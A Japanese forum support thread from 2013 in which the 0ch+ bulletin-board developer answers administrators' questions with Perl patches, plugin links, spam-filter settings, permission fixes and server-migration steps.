492 :0ch+開発担当 ◆0chp.sx.ik :2013/07/22(月) 08:03:43.42 ID:ol2ybtSw0
>>491
専用ブラウザから書き込みができるようにするには
bbs.cgiを2chの仕様に合わせて以下のような場所に配置する必要があります。
 ttp://example.jp/test/bbs.cgi

以下の手順でディレクトリ名をtestに戻すことができます。
・ディレクトリ名を「test」に変更
・管理画面でシステム設定->基本設定->CGI設置ディレクトリを「/test」に設定
・管理画面で掲示板一覧からすべての掲示板の「index更新」を行う

493 :番号名前:2013/07/22(月) 20:04:09.52 ID:CgZ5PW6Y0
このひとつ前の投稿492ですが、横に「名前」がありますね。
492 名前
この「名前」は何故あるのでしょうか?
個別スレでは「名前」は消えている。
http://yakin.38-ch.net/test/read.cgi/zerochplus/1310282996/
本家2chでも名前がありますが、この名残かな。
http://toro.2ch.net/tech/

「名前」を消すにはどこを削除すればいいのでしょうか。

494 :0ch+開発担当 ◆0chp.sx.ik :2013/07/22(月) 20:16:38.62 ID:ol2ybtSw0
>>493
0ch+はできるだけ2chに近づけるという方針で開発しています。
これもその一つですね。

index.htmlで表示されている「名前」を消すには
module/varda.pl の sub PrintResponse 内 692行目を書き換えてください。
  692: $Page->Print(" <dt>$n 名前:");

495 :番号名前:2013/07/22(月) 20:59:47.36 ID:+hF78XVE0
>0ch+はできるだけ2chに近づけるという方針で開発しています。
なるほど

496 :名無しさん@ぜろちゃんねるプラス:2013/07/23(火) 13:56:00.68 ID:BwqsgTUA0
>>492
ありがとうございます。
もう1点質問ですがトリップを付けると書き込みをする際にコテが文字化けすることがあります。予防策はありますか?

497 :0ch+開発担当 ◆0chp.sx.ik :2013/07/23(火) 19:28:43.64 ID:zs8sKCsA0
>>496
0.7.3現在、read.cgiの書き込みフォームで名前欄が文字化けしてしまう不具合があります。

read.cgiのsub PrintReadFoot内 456行目辺りの2行を以下のように書き換えれば修正可能です。
  $cookName = &$sanitize($Cookie->Get('NAME', ''));
  $cookMail = &$sanitize($Cookie->Get('MAIL', ''));
  ↓
  $cookName = &$sanitize($Cookie->Get('NAME', '', 'utf8'));
  $cookMail = &$sanitize($Cookie->Get('MAIL', '', 'utf8'));

498 :名無しさん@ぜろちゃんねるプラス:2013/07/23(火) 23:49:14.54 ID:BwqsgTUA0
>>497
いつも迅速なお返事ありがとうございます。
今のところ問題なく稼働するようになりました。ありがとうございます。

499 :名無しさん@ぜろちゃんねるプラス:2013/07/28(日) 11:29:10.83 ID:5SZlZLPM0
期限付きのアク禁ってプラグインか何かで出来ますか?
何時間経過したら自動で規制解除みたいな。

500 :0ch+開発担当 ◆0chp.sx.ik :2013/07/28(日) 22:21:35.84 ID:WnEhc5gI0
>>499
プラグインで何とかやってみました。以下のどちらかから 0ch_exdeny.pl をダウンロードしてください。
http://sourceforge.jp/projects/zerochplus/scm/svn/blobs/head/codes/0ch_exdeny.pl
http://svn.sourceforge.jp/svnroot/zerochplus/codes/0ch_exdeny.pl

「規制ユーザの編集」で、有効期限を付けたいものの行頭に
「!exdeny:expires=YYYY/MM/DD hh:mm:ss!」を加えてください。
例.
  !exdeny:expires=2013/07/29 00:00:00!\.example\.jp
  !exdeny:expires=2013/08/01 12:00:00!192.168.12.34

何時間後までといった指定は処理が複雑になるので代わりに日時指定による有効期限にしています。
また、期限を過ぎても自動で削除されないので手動で削除してください。

テストが不十分なので不具合が発生するかもしれませんがその時は報告をお願いします。

501 :499:2013/07/29(月) 08:44:51.86 ID:F5TTZilw0
>>500
ありがとうございます!
自分のホストで試してみましたが上手く出来ました。

502 :名無しさん@ぜろちゃんねるプラス:2013/07/30(火) 23:50:01.16 ID:h3z7aSKE0
自動でpoolのスレを過去ログに送るプラグインお願いします

503 :名無しさん@ぜろちゃんねるプラス:2013/07/31(水) 00:02:11.63 ID:phZXL69Y0
定期的に特定板の適当なスレに書き込むプラグインできますか?
イベントのお知らせとか、メンテのお知らせとかに使いたいんですが

504 :0ch+開発担当 ◆0chp.sx.ik :2013/07/31(水) 22:41:11.08 ID:jcmx3+5+0
>>502
これはプラグインではできません。
スクリプトの改造が必要になります。


>>503
プラグインで実現するには少し問題があります。

>>440にスレに書き込むプログラムを用意しているので、
これを改造してcron等で定期的に実行させてください。
適当なスレを選ぶには、subject.txtからランダムに1つ選ぶか
datフォルダの.datファイルからランダムに1つ選ぶといいと思います。

505 :NYスパム:2013/08/04(日) 02:56:34.95 ID:guzN8VSY0
NY という名前のスパムが鬼のように来ます。手動スパムホストNGワード規制が間に合わないほど
NYスパム情報はあるでしょうか。適切な規制設定はあるでしょうか

規制ユーザの編集
NGワードの編集
短時間投稿規制 180
Samba規制 20と21600
DNSBL設定 BBQ BBX 両方使用

506 :0ch+開発担当 ◆0chp.sx.ik :2013/08/04(日) 12:56:48.30 ID:a8hVoTPc0
>>505
見たところどのレスにも「href=」があるようなのでNGワードに「href=」を指定したり、
典型的な英文スパムのようなので「スパムキラー」プラグインを有効にすると効果抜群だと思います。

507 :0ch+開発担当 ◆0chp.sx.ik :2013/08/04(日) 13:04:38.88 ID:a8hVoTPc0
スパムキラープラグインはバージョン0.7.xには標準で付属していますが、
それ以前には無いので、バージョンアップをするか以下のいずれかからダウンロードして下さい。
http://sourceforge.jp/projects/zerochplus/scm/svn/blobs/head/codes/0ch_spamkiller.pl
http://svn.sourceforge.jp/svnroot/zerochplus/codes/0ch_spamkiller.pl

./test/plugin/ に0ch_spamkiller.plを配置してから
管理画面でシステム設定→拡張機能設定→更新するとプラグインが読み込まれます。

508 :NYスパム:2013/08/04(日) 14:40:17.10 ID:guzN8VSY0
ぜろちゃんねるプラス BBS.CGI - 0ch+ BBS 0.7.3 20130527 (Perl) +BBQ +BBX +Samba24=30
最新版なのでスパムキラープラグインは問題ないです。

「href=」
NGワード規制これはいいですね

509 :名無しさん@ぜろちゃんねるプラス:2013/08/10(土) 10:44:48.95 ID:pVrzAz160
告知欄のhtmlを出力してるのはどのプラグインでしょうか

vardaではないようなので。。。

510 :名無しさん@ぜろちゃんねるプラス:2013/08/10(土) 10:49:49.33 ID:pVrzAz160
すいませんdenethor.plでした

511 :名無しさん@ぜろちゃんねるプラス:2013/08/12(月) 07:20:00.18 ID:wq7kZ2kE0
うん

512 :名無しさん@ぜろちゃんねるプラス:2013/08/20(火) 12:10:47.23 ID:haNTCT+20
0ch_serial.plの再配布はお願いできますでしょうか

513 :0ch+開発担当 ◆0chp.sx.ik :2013/08/20(火) 12:48:29.13 ID:RYBQLjSU0
>>512
プラグインの平均書込速度計算機のことでしたら、そのプラグインの
作者である7M.氏と連絡がつかない状態なので再配布は不可能と思われます。

514 :名無しさん@ぜろちゃんねるプラス:2013/08/20(火) 17:07:43.53 ID:R2SvfA7k0
BBS MENUの様な物を表示させたいのですがどうすれば良いでしょうか?

カテゴリ
掲示板
掲示板
掲示板

515 :0ch+開発担当 ◆0chp.sx.ik :2013/08/20(火) 18:09:38.19 ID:RYBQLjSU0
>>514
簡易的なものを>>159に用意してあります。
自由に改変して利用してください。

516 :名無しさん@ぜろちゃんねるプラス:2013/08/23(金) 22:54:25.57 ID:sLkcN2Ac0
>>514です
初歩的な質問で申し訳ありません

bbsmenuが上手く反映されません
相対パスが間違っているのか、もしくは他に何か見落としているところがあるのか
転送自体は問題ありません

517 :名無しさん@ぜろちゃんねるプラス:2013/08/23(金) 23:18:00.67 ID:56qQdTDg0
連投すみません
別件ですが、スマートフォンで書き込もうとすると

ERROR:フォーム情報が正しく読めないです。
ホスト*******

名前:
E-mail:
内容:

と表示されます

518 :0ch+開発担当 ◆0chp.sx.ik :2013/08/24(土) 13:18:37.14 ID:086sC2Lo0
>>516
反映されないというのは500エラーですか?
それとも何もないページが表示されるということですか?
また、使用しているサーバーや確認できる場合はエラーログも書いてみてください。

bbsmenu.cgiをtestフォルダと同じ階層においた場合は
  my $system_dir = './test';
testフォルダの中においた場合は
  my $system_dir = '.';
のようになります

>>517
使用しているブラウザはなんですか?

519 :名無しさん@ぜろちゃんねるプラス:2013/08/26(月) 15:41:52.30 ID:vRD8I+zA0
NGユーザーは1行1ホストですよね?

正規表現はつかえますか?

520 :0ch+開発担当 ◆0chp.sx.ik :2013/08/27(火) 15:45:08.83 ID:ls1yV9hg0
>>519
はい、1行1ホストで正規表現が使えます。
詳細は>>383のとおりです。

521 :名無しさん@ぜろちゃんねるプラス:2013/08/27(火) 22:38:26.19 ID:BxuWwflo0
最終書き込みが3時間前なら・・・とかでスレを落とすことって可能ですかね・・?

522 :0ch+開発担当 ◆0chp.sx.ik :2013/08/27(火) 22:55:13.34 ID:ls1yV9hg0
>>521
以前作ったプラグインで実現できると思います。
http://svn.sourceforge.jp/svnroot/zerochplus/codes/0ch_autopool.pl
デフォルト設定では14日更新のないスレが落ちます。
一度処理されると24時間は処理されません。

プラグインの個別設定画面でelapsedを10800(3時間)に設定してください。
また、durationは86400(24時間)では長すぎるので1800(30分)程度に設定してください。

523 :名無しさん@ぜろちゃんねるプラス:2013/08/27(火) 23:56:00.45 ID:BxuWwflo0
>>522
ありがとうございます!
早速試してみます。

524 :名無しさん@ぜろちゃんねるプラス:2013/08/28(水) 21:23:36.57 ID:Q2lQntkI0
すいません
管理画面で何押しても反応せず画面もなんかおかしいのですが……
なぜでしょう?
使用サーバーはwkey.meです
http://imgur.com/ZtJnrw7

525 :0ch+開発担当 ◆0chp.sx.ik :2013/08/28(水) 21:31:26.25 ID:ZD/A+cGY0
>>524
wkey.meなら>>395の手順を試してみてください。

526 :名無しさん@ぜろちゃんねるプラス:2013/08/28(水) 22:14:00.09 ID:Q2lQntkI0
>>525
無事解決いたしました!
ありがとうございました!

527 :名無しさん@ぜろちゃんねるプラス:2013/08/29(木) 14:55:14.61 ID:nbM3bSdE0
度々すいません
ヘッダーを設定しても更新されず最初のままなんですが、なぜですか?
ちなみにスレッド作成画面へ行くと変わっています



528 :0ch+開発担当 ◆0chp.sx.ik :2013/08/29(木) 15:18:17.23 ID:+irxHDu+0
>>527
ヘッダーを編集した直後はindex.htmlの再生成が行われていないので、
なにか適当に書き込むか、管理画面から掲示板の「index更新」を行ってください。

529 :名無しさん@ぜろちゃんねるプラス:2013/08/29(木) 15:25:41.09 ID:nbM3bSdE0
>>527
ありがとうございます
もう一つ質問なのですが今までしたらばで掲示板をやってましてキャップを入力するときには「#」をつけてました
ですがゼロチャンネルをやるときに#をつけてやってもできません
抜いてもできません
……キャップの打ちかたなどを教えてくれれば幸いです
初心者ですいません

530 :名無しさん@ぜろちゃんねるプラス:2013/08/29(木) 15:30:44.71 ID:nbM3bSdE0
>>529
すいません自己解決しました
グループを設定するの忘れてました


531 :名無しさん@ぜろちゃんねるプラス:2013/08/29(木) 17:49:46.40 ID:nbM3bSdE0
スレッド一覧などのスレッドが表示される部分を縦並びに表示にするにはどうすればいいでしょうか?

532 :名無しさん@ぜろちゃんねるプラス:2013/08/29(木) 18:12:47.66 ID:VSID4TO20
塩砂糖をじっくり炒めて5分

533 :0ch+開発担当 ◆0chp.sx.ik :2013/08/29(木) 18:47:25.54 ID:+irxHDu+0
>>531
"縦並びに表示"というのがよく分かりません。もう少し具体的に書いてください。

画面は下の画像のようになっていると思います。
http://fox.jeez.jp/src/Fox_5809.jpg

534 :名無しさん@ぜろちゃんねるプラス:2013/08/29(木) 19:03:04.16 ID:nbM3bSdE0
えっと…要するにこういうことです
http://i.imgur.com/6FigKuh.jpg
告知欄の下にスレ一覧がありますよね
それを横並びではなく縦に並ばせたいのです(画像のように)


535 :0ch+開発担当 ◆0chp.sx.ik :2013/08/29(木) 19:17:52.83 ID:+irxHDu+0
>>534
なるほどこのページでしたか、失礼しました。

module/varda.pl の 243行目辺りの以下の行に改行タグを加えてください。
  $Page->Print("<a href=\"$path\" target=\"_blank\">$i: $name($res)</a>  \n");

  $Page->Print("<a href=\"$path\" target=\"_blank\">$i: $name($res)</a><br>\n");

536 :0ch+開発担当 ◆0chp.sx.ik :2013/08/29(木) 19:20:43.99 ID:+irxHDu+0
395,398行目の行もですね
  $Page->Print("<a href=\"#$i\">$name($res)</a> \n");

  $Page->Print("<a href=\"#$i\">$name($res)</a><br>\n");

  $Page->Print(" <a href=\"$path\" target=\"body\">$i: $name($res)</a> \n");

  $Page->Print(" <a href=\"$path\" target=\"body\">$i: $name($res)</a><br>\n");

537 :名無しさん@ぜろちゃんねるプラス:2013/08/29(木) 19:29:53.49 ID:nbM3bSdE0
なるほど
ありがとうございます

538 :名無しさん@ぜろちゃんねるプラス:2013/08/29(木) 19:59:44.74 ID:nbM3bSdE0
申し訳ございません
243、395、398行目に指定されたタグを追加いたしましたが縦になりませんでした
http://asayuki5.wkeya.com/varda.text

539 :0ch+開発担当 ◆0chp.sx.ik :2013/08/29(木) 20:01:57.59 ID:+irxHDu+0
>>538
一度書き込んてindex.htmlなどを再生成してみてください。

540 :名無しさん@ぜろちゃんねるプラス:2013/08/29(木) 21:01:31.61 ID:nbM3bSdE0
何度か挑戦しましたが不可能でした
ご迷惑おかけいたしました
Perlを学びなおしてから再挑戦します

541 :0ch+開発担当 ◆0chp.sx.ik :2013/08/29(木) 21:16:40.82 ID:+irxHDu+0
>>540
./test/module/varda.plが書き換えられていないのではないですか?
>>538の内容は問題ないはずです

542 :名無しさん@ぜろちゃんねるプラス:2013/08/29(木) 21:21:52.77 ID:nbM3bSdE0
本当だ
何時の間にか名前の相違でアップロード時の上書きがされてない
ありがとうございました
迷惑かけて申し訳ございませんでした

543 :名無しさん@ぜろちゃんねるプラス:2013/08/31(土) 20:57:33.04 ID:XHo+QhtE0
>>280
>具体的には、スレッドに属性を付加できるシステムを導入することで
>落ちないスレッドだけでなくいろんな機能が実装できると考えています。
>・不落属性:下がるが落ちないスレッド
>・不沈属性:下がらないため落ちないスレッド(924スレッド)

ですが、不沈属性は浮上属性として実装されたようですが、
不落属性はまだ実装されていないのでしょうか?

それと浮上属性の逆の、
潜行属性:上がらないが落ちないスレッド
も欲しいです(既にどこかの設定画面で可能でしたらすみません)

544 :名無しさん@ぜろちゃんねるプラス:2013/09/01(日) 01:04:29.12 ID:GQkPme5U0
p.cgiをPCのスレタイ検索用にデザインして転用しようとしているのですが、
リンクのURLを生成する際に$path(garadriel.pl)から/r.cgi/が呼びだされてしまいます。

これをread.cgiに変更するにはどう手を加えればいいのでしょうか。
ご教授お願いします

545 :0ch+開発担当 ◆0chp.sx.ik :2013/09/01(日) 15:06:54.89 ID:OsvGFiww0
>>543
長いこと放置してしまってすみません。
現状のプログラムの構造がめちゃくちゃなので0.7.xで実装するのは難しいですが、
構造を直して0.8.xから実装しようと考えています。
潜行属性も実現できるようにしようと思います。

>>544
CreatePathの第2引数を0にしてください。
$Conv->CreatePath($Sys, 1, $Sys->Get('BBS'), $elem[1], 'l10')

$Conv->CreatePath($Sys, 0, $Sys->Get('BBS'), $elem[1], 'l10')

546 :543:2013/09/01(日) 15:38:31.41 ID:WZg4OBoo0
>>545
状況了解です
気長に待ちますので、実装よろしくお願いします

547 :名無しさん@ぜろちゃんねるプラス:2013/09/01(日) 17:07:13.36 ID:0cKfjNj6I
管理画面から、板によってプラグインを使い分けられるようになれば
もっと便利になると思うのですが…。

548 :0ch+開発担当 ◆0chp.sx.ik :2013/09/01(日) 21:06:47.41 ID:OsvGFiww0
>>547
確かにそうですね、検討してみます。

549 :名無しさん@ぜろちゃんねるプラス:2013/09/02(月) 23:43:06.88 ID:ZbpN1ts60
>>545
ありがとうございます

550 :Service Temporarily Unavailable:2013/09/04(水) 17:43:59.91 ID:mpnbAyRc0
ログインするとエラーになりました。
Service Temporarily Unavailable
www.ohtan.net/board/test/admin.cgi

TOPページは問題ないですが
www.ohtan.net/board/bbs/

個別ページはエラーになりました。
Service Temporarily Unavailable
www.ohtan.net/board/test/read.cgi/bbs/1374487562/

鯖の調子が悪いのかと思ったのですが、3日たっても治りません。
原因はぜろちゃんねるプラス側なんでしょうか。
鯖はSakuraです。
www.sakura.ne.jp

551 :0ch+開発担当 ◆0chp.sx.ik :2013/09/04(水) 18:37:21.10 ID:gTaMmDAY0
>>550
CGIへのアクセスが過剰で制限されてしまっているのではないでしょうか。
http://www.hanemaru.com/itemcolumn/13sakura503error.html

552 :Service Temporarily Unavailable:2013/09/08(日) 10:23:02.96 ID:OGYF5NDM0
>>551
Sakuraのアクセス制限でした。
原因はキャップグループを作ろうとしてログイン・ログアウトを連続20回以上やり過ぎたこと。

553 :名無しさん@ぜろちゃんねるプラス:2013/09/09(月) 17:56:28.79 ID:o0ffEhRs0
初心者の質問で申し訳ありません
@pagesで鯖を借りて使ってみているのですが
webブラウザでは問題なく閲覧できるのですが
現在使っている専ブラ、jane style(ver3.74)で過去ログの読み込みがどうしても出来なくて困っています
読み書きなどは問題なくできており、過去ログの読み込みだけがどうにもうまくいきません
パーミッションの設定などは公式を見てきちんとできました

後は過去ログだけなのですが、読み込めるようにするには何処をいじればよいのでしょうか?
申し訳ありませんがご教授お願いします

554 :0ch+開発担当 ◆0chp.sx.ik :2013/09/09(月) 19:46:37.60 ID:WynjVGHg0
>>553
ファイルが存在しない時に403ではなく404を返さなくてはいけないみたいですね。

kakoディレクトリ以下の全ての数字5桁のディレクトリの
パーミッションを755に変更すると読み込めるようになります。
bbs1/kako/1234/12345/1234567890.dat
            ↑ 「12345」の権限を0755(rwxr-xr-x)に変更

mordor/bbs.pool.pl の780行目辺りの
  # 過去ログの出力
  EARENDIL::CreateFolderHierarchy($logDir, $Sys->Get('PM-BDIR'));
の後に以下の行を加えてください。
  chmod(0755, $logDir);

555 :名無しさん@ぜろちゃんねるプラス:2013/09/09(月) 20:43:20.37 ID:o0ffEhRs0
>>554
専ブラでも読み込めるようになりました
ありがとうございます!


556 :名無しさん@ぜろちゃんねるプラス:2013/09/15(日) 12:13:14.64 ID:Ae1mkjiY0
自己解決した事案なのですが、>>311に類似したトラブルなので、一応原因(と思われるもの)を報告だけ

atpagesにて、掲示板ディレクトリを「bbs」とすると、V2Cからではスレに書き込めないようです。
書き込めないだけで、閲覧やjaneからの書き込み等には支障はありませんでした。

557 :名無しさん@ぜろちゃんねるプラス:2013/09/15(日) 18:08:36.18 ID:eQ44UvRo0
ZPL_autopoolのことで質問です。
スレタイに特定の文字列が入っていた場合、そのスレはpoolに移動しないようにすることは可能でしょうか。
また、可能でしたら方法を教えて欲しいです。

558 :0ch+開発担当 ◆0chp.sx.ik :2013/09/15(日) 19:29:23.54 ID:wEvZgJns0
>>556
@pagesではパスの問題が避けられないため、一部の専ブラでしか扱えません。
またごく一部の専ブラでは、ディレクトリ名の同じ板が存在すると不具合が発生するものもあるようです。

>>557
可能です。115行目辺りの
  # 書き込もうとしているスレッドはスルー
  next if ($Sys->Get('KEY') eq $id);
の下に以下を追加してください。
  # タイトルに特定文字列を含むスレッドはスルー
  my $title = $Threads->Get('SUBJECT', $id);
  next if ($title =~ m/特定文字列/);

559 :名無しさん@ぜろちゃんねるプラス:2013/09/20(金) 12:54:28.07 ID:1yCfuDDA0
スレッドごとにIDの表示を違うものにする、といった事は出来ますでしょうか?

560 :名無しさん@ぜろちゃんねるプラス:2013/09/20(金) 19:12:08.62 ID:1yCfuDDA0
言葉足らずで申し訳ありません
したらばにあるIDタイプの設定のように、日付+スレッドのようにして
日付が変わるごとにIDが変わり
また書くスレッドによってもIDが変化するようにしたいのです

561 :0ch+開発担当 ◆0chp.sx.ik :2013/09/20(金) 21:09:55.07 ID:IJ5kBar+0
>>559-560
出来ます。

module/vara.pl 132行目辺りの行を以下の通りに書き換えてください。
  my $id = $Conv->MakeID($Sys->Get('SERVER'), ...省略... );
              ↓
  my $id = $Conv->MakeIDnew($Sys, 8);

さらに、module/galadriel.pl を以下のもので置き換えてください。
http://sourceforge.jp/projects/zerochplus/scm/svn/blobs/471/zerochplus/branches/0.7.x/test/module/galadriel.pl

562 :開発担当:2013/09/21(土) 00:28:49.81 ID:n7Fxa+oE0
すみません、言い忘れていました。
galadriel.plのsub MakeIDnew内のコメントアウトしてある行をコメント解除してください。


563 :名無しさん@ぜろちゃんねるプラス:2013/09/21(土) 15:36:54.19 ID:FP61DAlM0
出来ました!ありがとうございます!

564 :名無しさん@ぜろちゃんねるプラス:2013/09/29(日) 19:01:39.26 ID:3OG4r4sY0
ランダム名無しプラグイン有効時に(ニュー速のように)専ブラで名無し扱いされないようです
名前欄が青くて気になるので名無し扱いして欲しいのですが何か掲示板側ができることはありますでしょうか。

今は名前欄に<font color="green">でしのいでいますが当然ながらlink="#color"が効かないのでメール欄有りでもリンク色が緑になってしまいます
そこで、少ない知恵と知識で考えたのですがvarda.plの700行目あたりを改造すればリンク色の場合分けが出来るかもと思いました
これでなんとかなるでしょうか。。。ご教授お願い申し上げます

565 :0ch+開発担当 ◆0chp.sx.ik :2013/09/29(日) 21:00:59.72 ID:E/ceVe260
>>564
どうやらV2Cのニュース速報板限定の機能のようなので、
形式を合わせても名無しとして扱われないようです。

>varda.pl
このモジュールはread.cgiとindex.html用なので弄ってもV2Cでは変化しません。
datの内容に関係しているのはvara.plですが、このモジュールやプラグインを弄って
2chのランダム名無しの形式に合わせて出力してもV2Cは認識してくれません。
また、fontタグを名前に埋め込む方式だとread.cgiや他の専ブラの表示が変わってしまいます。
そうなると逆に、普段の色と違って気になるという人が出てくると思います。

V2Cに全ての名無しを登録するのが一番シンプルだと思います。

566 :名無しさん@ぜろちゃんねるプラス:2013/09/29(日) 21:17:49.71 ID:3OG4r4sY0
>>565
そうですか……御対応感謝します
とある芸能系の専門板でしてランダムさせる量が膨大なんです
素直に<font>タグ外します

ありがとうございました

567 :0ch+開発担当 ◆0chp.sx.ik :2013/09/29(日) 21:38:22.19 ID:E/ceVe260
>>566
名無し一覧があるなら、V2Cのdat保存フォルダのbrdprops.txtを開いて
Board.AnonymousName= にコンマ区切りで追加するといいと思います。

568 :名無しさん@ぜろちゃんねるプラス:2013/09/29(日) 21:41:25.18 ID:3OG4r4sY0
>>567
ありがとうございます
これをどう利用者にお願いするかが問題ですが……頑張ってみます

569 :名無しさん@ぜろちゃんねるプラス:2013/09/29(日) 22:00:52.20 ID:3OG4r4sY0
a font {
color:blue;
}

これで無事対応出来ました
ご足労おかけしまして申し訳ございませんでした
御対応感謝いたします

570 :名無しさん@ぜろちゃんねるプラス:2013/10/01(火) 23:42:23.97 ID:sH7eBNr60
すいません
ゼロチャンネルプラスって書込み数、アクセス数などはどこでカウントしてるんですか?
もしカウントしてないならどのようにすればカウンドできるでしょうか

571 :名無しさん@ぜろちゃんねるプラス:2013/10/01(火) 23:53:57.61 ID:sH7eBNr60
えっと、本来プラグイン総合にするべきでした
書込み数をカウントし、コマンドを打つことで表示できるようなプラグインを作れますか?

572 :0ch+開発担当 ◆0chp.sx.ik :2013/10/02(水) 21:40:59.47 ID:g9kA5eFA0
>>570-571
基本的にはカウントしていません。

書き込み数カウンターは需要がありそうなので簡易的なものを作りました。
http://sourceforge.jp/projects/zerochplus/scm/svn/blobs/head/codes/0ch_count.pl
http://svn.sourceforge.jp/svnroot/zerochplus/codes/0ch_count.pl
コマンドや表記などを自分好みに書き換えて使ってください。

また、アクセス数はブラウザからのアクセス(read.cgi, r.cgi)であればカウントすることも出来ますが、
.dat(専ブラ)などはCGIでカウント出来ないので、サーバーのアクセス解析機能に頼らざるを得ません。

573 :名無しさん@ぜろちゃんねるプラス:2013/10/02(水) 23:07:38.52 ID:JcSoPdfE0
>>572
ありがとうございます!

574 :名無しさん@ぜろちゃんねるプラス:2013/10/10(木) 21:40:46.12 ID:bpd6+iOg0
長年使っていた別の2ch型スクリプトからの
移行を考えております。

・スレをたてた時の>>1>>980など特定のレス番において
 特定の文言を自動挿入させるような機能はありますでしょうか?
 もしそのような機能が存在しない場合、どのファイル(vara.plあたり?)を
 書き換えればよろしいでしょうか。

・特定のスレッドを任意の書き込みでで一番下に落とす仕組みを
 (メール欄にkageなど特定のコマンドを入力、など)導入する事は
 可能でしょうか。既存のプラグインなどが有りましたらすみません。

長年、古いスクリプトを自己流で弄りながら使い続けていたので、
ぜろちゃんねるプラスの多機能さに驚いております。
お忙しいところ大変恐縮ですが、ご教授いただけますと幸いです。
よろしくお願いいたします。

575 :0ch+開発担当 ◆0chp.sx.ik :2013/10/11(金) 00:51:57.19 ID:ETlNqoZ20
>>574
>特定のレス番において特定の文言を自動挿入
この機能はありませんが、プラグインで出来ます。
サンプルを作ったので書き換えてて利用してください。
http://sourceforge.jp/projects/zerochplus/scm/svn/blobs/head/codes/0ch_mymsg.pl
http://svn.sourceforge.jp/svnroot/zerochplus/codes/0ch_mymsg.pl

>kage
プログラムの構造がよくないのでプラグインでは出来ません。
module/vara.plの199行目辺りに以下の1行を加えて、
    my $kage = $Form->Contain('mail', 'kage');
次の行(OnDemand)を以下のように書き換えてください。
    $Thread->OnDemand($Sys, $Sys->Get('KEY'), $resNum, $sage, $kage);
さらに、module/baggins.plの209行目辺りで引数を受け取り、
    my ($Sys, $id, $val, $age, $kage) = @_;
242行目あたりのAGEの行の後に以下の行を加えてください。
    $this->DAME($id) if ($kage);
確認していませんが、おそらくこれで実現できると思います。

576 :名無しさん@ぜろちゃんねるプラス:2013/10/11(金) 21:22:15.72 ID:NBKLAytk0
>>575
ありがとうございます!
両方とも実装できました。活用させていただきます!

577 :名無しさん@ぜろちゃんねるプラス:2013/10/12(土) 11:10:53.85 ID:cMwfI+6w0
>kage

これ面白い機能ですね
最新版で採用して欲しいです

578 :名無しさん@ぜろちゃんねるプラス:2013/10/17(木) 04:37:06.30 ID:nydpRX/E0
「書き込みと同時にスレッドをTOPへソート」が "age" であるならば、
"age" と真の逆の意味がありますね。

579 :名無しさん@ぜろちゃんねるプラス:2013/10/19(土) 18:58:55.33 ID:XhV4wMyo0
申し訳ございません
プラグインでほかのプラグインのON、OFFを調整するにはどうしたらよいでしょうか?
たとえばメール欄に「OFF」と打つとそのレスだけプラグインがすべて無効になる、とか
>>1に特定のXという文字列が含まれた場合にそのスレだけ特定の機能をONにする、とか
Perlに関して全くの初心者である私にご教示くださいませんか?


580 :0ch+開発担当 ◆0chp.sx.ik :2013/10/19(土) 22:32:22.33 ID:dd71n4PI0
>>579
プラグインから別のプラグインを操作することは出来ません。
対象のプラグインを直接改造してください。

sub executeが実行部なので、例えばその中の始めのところで
  my $mail = $Form->Get('mail'); # メール欄取得
  return 0 if ($mail =~ /OFF/); # OFFが含まれるならreturn
のようにすればそのプラグインを中断(無効化)できます。

また、スレ立て時に設定や属性を持たせたい場合は
  my $tate = $Sys->Equal('MODE', 1); # スレ立てなら1、レスなら0
  my $key = $Sys->Get('KEY'); # スレッドID(約10桁の数字)
  # $tateが1で、特定条件を満たすなら$keyと付加情報を保存
  $ $tateが0なら保存されている付加情報を読み込む
このような感じで、ある程度自前で実装してください。

581 :名無しさん@ぜろちゃんねるプラス:2013/10/20(日) 07:07:48.80 ID:XEwF72MU0
>>580
ありがとうございます、できました!

582 :名無しさん@ぜろちゃんねるプラス:2013/10/21(月) 11:55:57.25 ID:XmwQL2u60
プラグインを作るときに書き込む側が入力したものを変数に格納する場合同記述すればいいのでしょうか?
CGIでいう<STDIN>的なものでたとえば
!id:*****
と名前欄に記入すると自分のIDが****で上書きされるという風な感じです
ちょっとわかりにくいので、ソースでいうと

$userid = *****
if ($elem[2] =~ s/!id://g) {
$id = $userid;
$Form->Set('mail', $elem[2]);

ここで!id:の後ろに記述された値が$useridに代入される、といった感じです


583 :0ch+開発担当 ◆0chp.sx.ik :2013/10/21(月) 20:11:56.57 ID:Dd9IEZlc0
>>582
正規表現を利用してこのようにすれば実現できると思います。
if ($elem[2] =~ s/!id:(.*)$//g) {
  $userid = $1;

584 :名無しさん@ぜろちゃんねるプラス:2013/10/21(月) 20:30:04.60 ID:XmwQL2u60
>>583
有難うございます!
$useridにわざわざ代入する必要もないしエラーを履いたので直接$idに代入することにしました!

585 :名無しさん@ぜろちゃんねるプラス:2013/10/22(火) 18:48:45.16 ID:LrZQh25g0
申し訳ございません
とある理由により掲示板を移転することになりました
つきましては現行スレの移動方法をお教えくださいませんでしょうか?

586 :名無しさん@ぜろちゃんねるプラス:2013/10/22(火) 19:05:34.08 ID:LrZQh25g0
もう一つ
chobi-netのパーミッションを教えてください

587 :0ch+開発担当 ◆0chp.sx.ik :2013/10/22(火) 19:57:59.99 ID:uBYRNc3M0
>>585
1. testフォルダと各掲示板フォルダを全てFTP等でコピーする
2. パーミッションを設定する (必要ならperlパスも変える)
3. 新サーバー側の管理画面にログインする
4. システム設定->基本設定の稼働サーバとCGI設置ディレクトリを適切に設定する
5. 掲示板一覧から全ての掲示板のindexを更新する
以上で移転できると思います。
また、必要に応じて告知や読取専用設定などを行ってください。

>>586
こちらに書かれているとおりです。
http://chobi.net/support/cgi.html#cgi4
以下のsuExec Type-Aの設定に該当します。
http://sourceforge.jp/projects/zerochplus/wiki/Permission#h3-Type-A

588 :名無しさん@ぜろちゃんねるプラス:2013/10/22(火) 20:17:00.30 ID:LrZQh25g0
>>587
ありがとうございます!
ちなみに、datファイルのみの移転でも大丈夫ですか?

589 :0ch+開発担当 ◆0chp.sx.ik :2013/10/22(火) 21:46:26.48 ID:uBYRNc3M0
>>588
新しい掲示板にdatを移動させる場合は、datファイルを転送したあと
スレッド一覧からsubjectを更新すれば読み込まれます。

590 :名無しさん@ぜろちゃんねるプラス:2013/10/22(火) 22:05:13.59 ID:LrZQh25g0
>>589
ありがとうございました

591 :名無しさん@ぜろちゃんねるプラス:2013/10/30(水) 21:34:41.66 ID:9KJCjgW+0
スパムがひどいので、規制では対応しきれなくなっています。
そこで、日本からの書き込みだけ許可したいのですが、.jp限定にするとyahooBBなどから書き込めなくなってしまいます。
日本からの書き込み限定にする方法はありますか?

